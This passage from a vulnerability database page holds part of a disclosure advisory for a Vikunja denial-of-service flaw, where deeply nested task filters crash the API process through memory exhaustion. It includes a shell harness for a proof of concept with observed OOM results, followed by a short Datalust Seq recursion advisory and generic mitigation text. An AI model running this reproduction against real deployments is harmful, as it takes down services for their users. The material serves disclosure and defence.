VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \\\n -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \\\n -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \\\n \"${IMAGE_TAG}\" /app/vikunja web \u003e/dev/null\n\nset +e\nOUTPUT=\"$(docker run --rm --network \"${NETWORK}\" \"${IMAGE_TAG}\" python3 /app/client.py 2\u003e\u00261)\"\nCLIENT_STATUS=$?\nset -e\nprintf \u0027%s\\n\u0027 \"${OUTPUT}\"\nfor _ in $(seq 1 80); do\n STATE=\"$(docker inspect --format \u0027{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}\u0027 \"${TARGET_CONTAINER}\")\"\n [[ \"${STATE}\" != \"false 0 true\" ]] \u0026\u0026 break\n sleep 0.25\ndone\nSTATE=\"$(docker inspect --format \u0027{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}\u0027 \"${TARGET_CONTAINER}\")\"\necho \"PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}\"\nif ! grep -q \u0027PoC_FILTER_CONTROL=PASS\u0027 \u003c\u003c\u003c\"${OUTPUT}\" || ! grep -q \u0027PoC_FILTER_ATTACK_SENT depth=20000\u0027 \u003c\u003c\u003c\"${OUTPUT}\" || [[ \"${STATE}\" != \"true 137 false\" ]]; then\n echo \"[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination\" \u003e\u00262\n exit 1\nfi\necho \"PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137\"\necho \"[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process\"\n\n```\n\nCreate `reproduction/frontend-placeholder.html`:\n\n```html\n\u003c!doctype html\u003e\u003ctitle\u003ePoC backend reproduction placeholder\u003c/title\u003e\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2\u003e/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.\n\n**Observed:** Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.\n\n**Verification and controls:** The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.\n\nObserved evidence:\n\n- depth=1000 target_bytes=6044: HTTP 200\n- depth=20000 target_bytes=120044: RemoteDisconnected\n- target container: OOMKilled=true, ExitCode=137\n- PoC_FILTER_RECURSION=PASS\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** \u2014 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.",
"id": "GHSA-xxc3-xpmc-vmvr",
"modified": "2026-10-09T20:53:03Z",
"published": "2026-10-09T20:53:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-xxc3-xpmc-vmvr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91968"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3688"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-unbounded-filter-recursion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vikunja: Unbounded nested task-filter recursion permits API process termination"
}
GHSA-XXQQ-477X-J22X
Vulnerability from github – Published: 2025-03-11 09:30 – Updated: 2025-03-11 09:30An issue was discovered in Datalust Seq before 2024.3.13545. An insecure default parsing depth limit allows stack consumption when parsing user-supplied queries containing deeply nested expressions.
{
"affected": [],
"aliases": [
"CVE-2024-58102"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-11T08:15:10Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Datalust Seq before 2024.3.13545. An insecure default parsing depth limit allows stack consumption when parsing user-supplied queries containing deeply nested expressions.",
"id": "GHSA-xxqq-477x-j22x",
"modified": "2025-03-11T09:30:30Z",
"published": "2025-03-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58102"
},
{
"type": "WEB",
"url": "https://github.com/datalust/seq-tickets/issues/2086"
},
{
"type": "WEB",
"url": "https://github.com/datalust/seq-tickets/issues/2367"
},
{
"type": "WEB",
"url": "https://datalust.co/seq"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.
Mitigation
Increase the stack size.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.